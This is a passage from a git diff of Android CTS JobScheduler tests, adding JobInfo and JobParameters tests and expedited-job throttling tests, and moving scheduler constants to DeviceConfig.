+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_UNMETERED)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_UNMETERED, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_NOT_ROAMING)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_NOT_ROAMING, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_CELLULAR)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_CELLULAR, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiredNetworkType(JobInfo.NETWORK_TYPE_NONE)
+                .build();
+        assertEquals(JobInfo.NETWORK_TYPE_NONE, ji.getNetworkType());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testStorageNotLow() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresStorageNotLow(true)
+                .build();
+        assertTrue(ji.isRequireStorageNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setRequiresStorageNotLow(false)
+                .build();
+        assertFalse(ji.isRequireStorageNotLow());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTransientExtras() {
+        final Bundle b = new Bundle();
+        b.putBoolean("random_bool", true);
+        assertBuildFails("Successfully built a persisted JobInfo object with transient extras",
+                new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setPersisted(true)
+                        .setTransientExtras(b));
+
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTransientExtras(b)
+                .build();
+        assertEquals(b.size(), ji.getTransientExtras().size());
+        for (String key : b.keySet()) {
+            assertEquals(b.get(key), ji.getTransientExtras().get(key));
+        }
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTriggerContentMaxDelay() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTriggerContentMaxDelay(1337)
+                .build();
+        assertEquals(1337, ji.getTriggerContentMaxDelay());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTriggerContentUpdateDelay() {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTriggerContentUpdateDelay(1337)
+                .build();
+        assertEquals(1337, ji.getTriggerContentUpdateDelay());
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    public void testTriggerContentUri() {
+        final Uri u = Uri.parse("content://" + MediaStore.AUTHORITY + "/");
+        final JobInfo.TriggerContentUri tcu = new JobInfo.TriggerContentUri(
+                u, JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS);
+        assertEquals(u, tcu.getUri());
+        assertEquals(JobInfo.TriggerContentUri.FLAG_NOTIFY_FOR_DESCENDANTS, tcu.getFlags());
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .addTriggerContentUri(tcu)
+                .build();
+        assertEquals(1, ji.getTriggerContentUris().length);
+        assertEquals(tcu, ji.getTriggerContentUris()[0]);
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+
+        final Uri u2 = Uri.parse("content://" + ContactsContract.AUTHORITY + "/");
+        final JobInfo.TriggerContentUri tcu2 = new JobInfo.TriggerContentUri(u2, 0);
+        assertEquals(u2, tcu2.getUri());
+        assertEquals(0, tcu2.getFlags());
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .addTriggerContentUri(tcu)
+                .addTriggerContentUri(tcu2)
+                .build();
+        assertEquals(2, ji.getTriggerContentUris().length);
+        assertEquals(tcu, ji.getTriggerContentUris()[0]);
+        assertEquals(tcu2, ji.getTriggerContentUris()[1]);
+        // Confirm JobScheduler accepts the JobInfo object.
+        mJobScheduler.schedule(ji);
+    }
+
+    private void assertBuildFails(String message, JobInfo.Builder builder) {
+        try {
+            builder.build();
+            fail(message);
+        } catch (IllegalArgumentException e) {
+            // Expected
+        }
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
new file mode 100644
index 0000000..b3b6cb3
--- /dev/null
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobParametersTest.java
@@ -0,0 +1,188 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.jobscheduler.cts;
+
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
+import android.content.ClipData;
+import android.content.Intent;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+import android.os.UserHandle;
+
+import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.SystemUtil;
+
+/**
+ * Tests related to JobParameters objects.
+ */
+public class JobParametersTest extends BaseJobSchedulerTest {
+    private static final int JOB_ID = JobParametersTest.class.hashCode();
+
+    public void testClipData() throws Exception {
+        final ClipData clipData = ClipData.newPlainText("test", "testText");
+        final int grantFlags = Intent.FLAG_GRANT_READ_URI_PERMISSION;
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setClipData(clipData, grantFlags)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        assertEquals(clipData.getItemCount(), params.getClipData().getItemCount());
+        assertEquals(clipData.getItemAt(0).getText(), params.getClipData().getItemAt(0).getText());
+        assertEquals(grantFlags, params.getClipGrantFlags());
+    }
+
+    public void testExtras() throws Exception {
+        final PersistableBundle pb = new PersistableBundle();
+        pb.putInt("random_key", 42);
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExtras(pb)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        final PersistableBundle extras = params.getExtras();
+        assertNotNull(extras);
+        assertEquals(1, extras.keySet().size());
+        assertEquals(42, extras.getInt("random_key"));
+    }
+
+    public void testExpedited() throws Exception {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExpedited(true)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        assertTrue(params.isExpeditedJob());
+
+        ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setExpedited(false)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        params = kTestEnvironment.getLastStartJobParameters();
+        assertFalse(params.isExpeditedJob());
+    }
+
+    public void testJobId() throws Exception {
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        assertEquals(JOB_ID, params.getJobId());
+    }
+
+    // JobParameters.getNetwork() tested in ConnectivityConstraintTest.
+
+    public void testStopReason() throws Exception {
+        verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent).build(),
+                JobParameters.STOP_REASON_TIMEOUT,
+                () -> SystemUtil.runShellCommand(getInstrumentation(),
+                        "cmd jobscheduler timeout"
+                                + " -u " + UserHandle.myUserId()
+                                + " " + kJobServiceComponent.getPackageName()
+                                + " " + JOB_ID));
+
+        BatteryUtils.runDumpsysBatterySetLevel(100);
+        BatteryUtils.runDumpsysBatteryUnplug();
+        verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setRequiresBatteryNotLow(true).build(),
+                JobParameters.STOP_REASON_CONSTRAINT_BATTERY_NOT_LOW,
+                () -> BatteryUtils.runDumpsysBatterySetLevel(5));
+
+        BatteryUtils.runDumpsysBatterySetPluggedIn(true);
+        BatteryUtils.runDumpsysBatterySetLevel(100);
+        verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setRequiresCharging(true).build(),
+                JobParameters.STOP_REASON_CONSTRAINT_CHARGING,
+                BatteryUtils::runDumpsysBatteryUnplug);
+
+        setStorageStateLow(false);
+        verifyStopReason(new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                        .setRequiresStorageNotLow(true).build(),
+                JobParameters.STOP_REASON_CONSTRAINT_STORAGE_NOT_LOW,
+                () -> setStorageStateLow(true));
+    }
+
+    private void verifyStopReason(JobInfo ji, int stopReason, ExceptionRunnable stopCode)
+            throws Exception {
+        kTestEnvironment.setExpectedExecutions(1);
+        kTestEnvironment.setContinueAfterStart();
+        kTestEnvironment.setExpectedStopped();
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(ji.getId());
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        assertEquals(JobParameters.STOP_REASON_UNDEFINED, params.getStopReason());
+
+        stopCode.run();
+        assertTrue("Job didn't stop immediately", kTestEnvironment.awaitStopped());
+        params = kTestEnvironment.getLastStopJobParameters();
+        assertEquals(stopReason, params.getStopReason());
+    }
+
+    public void testTransientExtras() throws Exception {
+        final Bundle b = new Bundle();
+        b.putBoolean("random_bool", true);
+        JobInfo ji = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
+                .setTransientExtras(b)
+                .build();
+
+        kTestEnvironment.setExpectedExecutions(1);
+        mJobScheduler.schedule(ji);
+        runSatisfiedJob(JOB_ID);
+        assertTrue("Job didn't fire immediately", kTestEnvironment.awaitExecution());
+
+        JobParameters params = kTestEnvironment.getLastStartJobParameters();
+        assertEquals(b.size(), params.getTransientExtras().size());
+        for (String key : b.keySet()) {
+            assertEquals(b.get(key), params.getTransientExtras().get(key));
+        }
+    }
+
+    // JobParameters.getTriggeredContentAuthorities() tested in TriggerContentTest.
+    // JobParameters.getTriggeredContentUris() tested in TriggerContentTest.
+    // JobParameters.isOverrideDeadlineExpired() tested in TimingConstraintTest.
+
+    private interface ExceptionRunnable {
+        void run() throws Exception;
+    }
+}
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java
index 44a1f62..05d78de 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobSchedulingTest.java
@@ -19,7 +19,7 @@
 import android.annotation.TargetApi;
 import android.app.job.JobInfo;
 import android.app.job.JobScheduler;
-import android.provider.Settings;
+import android.provider.DeviceConfig;
 
 import com.android.compatibility.common.util.SystemUtil;
 
@@ -31,20 +31,9 @@
     private static final int MIN_SCHEDULE_QUOTA = 250;
     private static final int JOB_ID = JobSchedulingTest.class.hashCode();
 
-    private String originalJobSchedulerConstants;
-
-    @Override
-    public void setUp() throws Exception {
-        super.setUp();
-        originalJobSchedulerConstants = Settings.Global.getString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS);
-    }
-
     @Override
     public void tearDown() throws Exception {
         mJobScheduler.cancel(JOB_ID);
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS, originalJobSchedulerConstants);
         SystemUtil.runShellCommand(getInstrumentation(), "cmd jobscheduler reset-schedule-quota");
 
         // The super method should be called at the end.
@@ -70,10 +59,14 @@
      * Test that scheduling fails once an app hits the schedule quota limit.
      */
     public void testFailingScheduleOnQuotaExceeded() {
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS,
-                "enable_api_quotas=true,aq_schedule_count=300,aq_schedule_window_ms=300000,"
-                        + "aq_schedule_throw_exception=false,aq_schedule_return_failure=true");
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                .setBoolean("enable_api_quotas", true)
+                .setInt("aq_schedule_count", 300)
+                .setLong("aq_schedule_window_ms", 300000)
+                .setBoolean("aq_schedule_throw_exception", false)
+                .setBoolean("aq_schedule_return_failure", true)
+                .build());
 
         JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setMinimumLatency(60 * 60 * 1000L)
@@ -92,10 +85,14 @@
      * Test that scheduling succeeds even after an app hits the schedule quota limit.
      */
     public void testContinuingScheduleOnQuotaExceeded() {
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS,
-                "enable_api_quotas=true,aq_schedule_count=300,aq_schedule_window_ms=300000,"
-                        + "aq_schedule_throw_exception=false,aq_schedule_return_failure=false");
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                        .setBoolean("enable_api_quotas", true)
+                        .setInt("aq_schedule_count", 300)
+                        .setLong("aq_schedule_window_ms", 300000)
+                        .setBoolean("aq_schedule_throw_exception", false)
+                        .setBoolean("aq_schedule_return_failure", false)
+                        .build());
 
         JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setMinimumLatency(60 * 60 * 1000L)
@@ -112,10 +109,14 @@
      * Test that non-persisted jobs aren't limited by quota.
      */
     public void testNonPersistedJobsNotLimited() {
-        Settings.Global.putString(getContext().getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS,
-                "enable_api_quotas=true,aq_schedule_count=300,aq_schedule_window_ms=60000,"
-                        + "aq_schedule_throw_exception=false,aq_schedule_return_failure=true");
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                .setBoolean("enable_api_quotas", true)
+                .setInt("aq_schedule_count", 300)
+                .setLong("aq_schedule_window_ms", 60000)
+                .setBoolean("aq_schedule_throw_exception", false)
+                .setBoolean("aq_schedule_return_failure", true)
+                .build());
 
         JobInfo jobInfo = new JobInfo.Builder(JOB_ID, kJobServiceComponent)
                 .setMinimumLatency(60 * 60 * 1000L)
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index 548128c..44e5887 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -16,18 +16,26 @@
 
 package android.jobscheduler.cts;
 
+import static android.app.job.JobInfo.NETWORK_TYPE_ANY;
+import static android.app.job.JobInfo.NETWORK_TYPE_NONE;
 import static android.jobscheduler.cts.ConnectivityConstraintTest.ensureSavedWifiNetwork;
+import static android.jobscheduler.cts.ConnectivityConstraintTest.isWiFiConnected;
 import static android.jobscheduler.cts.ConnectivityConstraintTest.setWifiState;
 import static android.jobscheduler.cts.TestAppInterface.TEST_APP_PACKAGE;
 import static android.os.PowerManager.ACTION_DEVICE_IDLE_MODE_CHANGED;
 import static android.os.PowerManager.ACTION_LIGHT_DEVICE_IDLE_MODE_CHANGED;
 
+import static com.android.compatibility.common.util.TestUtils.waitUntil;
+
+import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assume.assumeFalse;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.AppOpsManager;
+import android.app.job.JobInfo;
+import android.app.job.JobParameters;
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
@@ -41,6 +49,7 @@
 import android.os.Temperature;
 import android.os.UserHandle;
 import android.platform.test.annotations.RequiresDevice;
+import android.provider.DeviceConfig;
 import android.provider.Settings;
 import android.support.test.uiautomator.UiDevice;
 import android.util.Log;
@@ -52,6 +61,8 @@
 import com.android.compatibility.common.util.AppOpsUtils;
 import com.android.compatibility.common.util.AppStandbyUtils;
 import com.android.compatibility.common.util.BatteryUtils;
+import com.android.compatibility.common.util.CallbackAsserter;
+import com.android.compatibility.common.util.DeviceConfigStateHelper;
 import com.android.compatibility.common.util.ThermalUtils;
 
 import junit.framework.AssertionFailedError;
@@ -101,13 +112,13 @@
     /** Track whether WiFi was enabled in case we turn it off. */
     private boolean mInitialWiFiState;
     private boolean mInitialAirplaneModeState;
-    private String mInitialJobSchedulerConstants;
     private String mInitialDisplayTimeout;
     private String mInitialRestrictedBucketEnabled;
     private boolean mAutomotiveDevice;
     private boolean mLeanbackOnly;
 
     private TestAppInterface mTestAppInterface;
+    private DeviceConfigStateHelper mDeviceConfigStateHelper;
 
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
         @Override
@@ -157,13 +168,14 @@
         mHasWifi = mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WIFI);
         mInitialWiFiState = mWifiManager.isWifiEnabled();
         mInitialAirplaneModeState = isAirplaneModeOn();
-        mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS);
         mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.ENABLE_RESTRICTED_BUCKET);
         // Make sure test jobs can run regardless of bucket.
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
+        mDeviceConfigStateHelper =
+                new DeviceConfigStateHelper(DeviceConfig.NAMESPACE_JOB_SCHEDULER);
+        mDeviceConfigStateHelper.set(
+                new DeviceConfig.Properties.Builder(DeviceConfig.NAMESPACE_JOB_SCHEDULER)
+                        .setInt("min_ready_non_active_jobs_count", 0).build());
         // Make sure the screen doesn't turn off when the test turns it on.
         mInitialDisplayTimeout =
                 Settings.System.getString(mContext.getContentResolver(), SCREEN_OFF_TIMEOUT);
@@ -186,7 +198,7 @@
     public void testAllowWhileIdleJobInTempwhitelist() throws Exception {
         assumeTrue("device idle not enabled", mDeviceIdleEnabled);
 
-        toggleDeviceIdleState(true);
+        toggleDozeState(true);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
         sendScheduleJobBroadcast(true);
         assertFalse("Job started without being tempwhitelisted",
@@ -204,14 +216,18 @@
         runJob();
         assertTrue("Job did not start after scheduling",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
-        toggleDeviceIdleState(true);
+        toggleDozeState(true);
         assertTrue("Job did not stop on entering doze",
                 mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
         Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
+        // The adb command will force idle even with the screen on, so we need to turn Doze off
+        // explicitly.
+        toggleDozeState(false);
+        // Turn the screen on to ensure the test app ends up in TOP.
+        setScreenState(true);
         mTestAppInterface.startAndKeepTestActivity();
-        toggleDeviceIdleState(false);
         assertTrue("Job for foreground app did not start immediately when device exited doze",
-                mTestAppInterface.awaitJobStart(3_000));
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
     }
 
     @Test
@@ -222,11 +238,11 @@
         runJob();
         assertTrue("Job did not start after scheduling",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
-        toggleDeviceIdleState(true);
+        toggleDozeState(true);
         assertTrue("Job did not stop on entering doze",
                 mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
         Thread.sleep(TestJobSchedulerReceiver.JOB_INITIAL_BACKOFF);
-        toggleDeviceIdleState(false);
+        toggleDozeState(false);
         assertFalse("Job for background app started immediately when device exited doze",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
         Thread.sleep(BACKGROUND_JOBS_EXPECTED_DELAY - DEFAULT_WAIT_TIMEOUT);
@@ -244,6 +260,8 @@
         setTestPackageRestricted(true);
         assertTrue("Job did not stop after test app was restricted",
                 mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_BACKGROUND_RESTRICTION,
+                mTestAppInterface.getLastParams().getStopReason());
     }
 
     @Test
@@ -268,6 +286,61 @@
         mTestAppInterface.startAndKeepTestActivity(true);
         assertTrue("Job did not start when app had an activity",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        mTestAppInterface.closeActivity();
+        // Don't put full minute as the timeout to give some leeway with test timing/processing.
+        assertFalse("Job stopped within grace period after activity closed",
+                mTestAppInterface.awaitJobStop(55_000L));
+        assertTrue("Job did not stop after grace period ended",
+                mTestAppInterface.awaitJobStop(15_000L));
+        assertEquals(JobParameters.STOP_REASON_BACKGROUND_RESTRICTION,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testEJStoppedWhenRestricted() throws Exception {
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        setTestPackageRestricted(true);
+        assertTrue("Job did not stop after test app was restricted",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+        assertEquals(JobParameters.STOP_REASON_BACKGROUND_RESTRICTION,
+                mTestAppInterface.getLastParams().getStopReason());
+    }
+
+    @Test
+    public void testRestrictedEJStartedWhenUnrestricted() throws Exception {
+        setTestPackageRestricted(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        assertFalse("Job started for restricted app",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        setTestPackageRestricted(false);
+        assertTrue("Job did not start when app was unrestricted",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testRestrictedEJAllowedWhenUidActive() throws Exception {
+        setTestPackageRestricted(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        assertFalse("Job started for restricted app",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        // Turn the screen on to ensure the app gets into the TOP state.
+        setScreenState(true);
+        mTestAppInterface.startAndKeepTestActivity(true);
+        assertTrue("Job did not start when app had an activity",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+
+        mTestAppInterface.closeActivity();
+        // Don't put full minute as the timeout to give some leeway with test timing/processing.
+        assertFalse("Job stopped within grace period after activity closed",
+                mTestAppInterface.awaitJobStop(55_000L));
+        assertTrue("Job did not stop after grace period ended",
+                mTestAppInterface.awaitJobStop(15_000L));
+        assertEquals(JobParameters.STOP_REASON_BACKGROUND_RESTRICTION,
+                mTestAppInterface.getLastParams().getStopReason());
     }
 
     @RequiresDevice // Emulators don't always have access to wifi/network
@@ -281,7 +354,7 @@
         setAirplaneMode(false);
         setWifiState(true, mCm, mWifiManager);
         assumeTrue("device idle not enabled", mDeviceIdleEnabled);
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
         runJob();
         assertTrue("Job did not start after scheduling",
                 mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
@@ -305,9 +378,7 @@
         setRestrictedBucketEnabled(true);
 
         // Disable coalescing
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
-                "timing_session_coalescing_duration_ms=0");
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
 
         setScreenState(true);
 
@@ -332,9 +403,8 @@
         setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
-                "timing_session_coalescing_duration_ms=0,max_session_count_restricted=0");
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
         setAirplaneMode(true);
         setScreenState(true);
@@ -342,7 +412,7 @@
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.RESTRICTED);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-        sendScheduleJobBroadcast(false);
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_NONE, false);
         assertFalse("New job started in RESTRICTED bucket", mTestAppInterface.awaitJobStart(3_000));
 
         // Slowly add back required bucket constraints.
@@ -374,9 +444,8 @@
         setRestrictedBucketEnabled(true);
 
         // Disable coalescing and the parole session
-        Settings.Global.putString(mContext.getContentResolver(),
-                Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
-                "timing_session_coalescing_duration_ms=0,max_session_count_restricted=0");
+        mDeviceConfigStateHelper.set("qc_timing_session_coalescing_duration_ms", "0");
+        mDeviceConfigStateHelper.set("qc_max_session_count_restricted", "0");
 
         setAirplaneMode(true);
         setScreenState(true);
@@ -384,7 +453,7 @@
         BatteryUtils.runDumpsysBatteryUnplug();
         setTestPackageStandbyBucket(Bucket.RESTRICTED);
         Thread.sleep(DEFAULT_WAIT_TIMEOUT);
-        mTestAppInterface.scheduleJob(false, true);
+        mTestAppInterface.scheduleJob(false, NETWORK_TYPE_ANY, false);
         runJob();
         assertFalse("New job started in RESTRICTED bucket", mTestAppInterface.awaitJobStart(3_000));
 
@@ -480,7 +549,7 @@
         BatteryUtils.enableBatterySaver(true);
         tempWhitelistTestApp(6_000);
         sendScheduleJobBroadcast(false);
-        assertTrue("New job in uid-active app failed to start with battery saver OFF",
+        assertTrue("New job in uid-active app failed to start with battery saver ON",
                 mTestAppInterface.awaitJobStart(3_000));
     }
 
@@ -498,29 +567,349 @@
         assertFalse("New job started with battery saver ON",
                 mTestAppInterface.awaitJobStart(3_000));
 
-
         // Then make the UID active. Now the job should run.
         tempWhitelistTestApp(120_000);
         assertTrue("New job in uid-active app failed to start with battery saver OFF",
                 mTestAppInterface.awaitJobStart(120_000));
     }
 
+    @Test
+    public void testExpeditedJobBypassesBatterySaverOn() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        assertTrue("New expedited job failed to start with battery saver ON",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesBatterySaver_toggling() throws Exception {
+        assumeFalse("not testable in automotive device", mAutomotiveDevice);
+        assumeFalse("not testable in leanback device", mLeanbackOnly);
+
+        BatteryUtils.assumeBatterySaverFeature();
+
+        BatteryUtils.runDumpsysBatteryUnplug();
+        BatteryUtils.enableBatterySaver(false);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        assertTrue("New expedited job failed to start with battery saver ON",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+        BatteryUtils.enableBatterySaver(true);
+        assertFalse("Job stopped when battery saver turned on",
+                mTestAppInterface.awaitJobStop(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
+    public void testExpeditedJobBypassesDeviceIdle() throws Exception {
+        assumeTrue("device idle not enabled", mDeviceIdleEnabled);
+
+        toggleDozeState(true);
+        mTestAppInterface.scheduleJob(false, JobInfo.NETWORK_TYPE_NONE, true);
+        runJob();
+        assertTrue("Job did not start after scheduling",
+                mTestAppInterface.awaitJobStart(DEFAULT_WAIT_TIMEOUT));
+    }
+
+    @Test
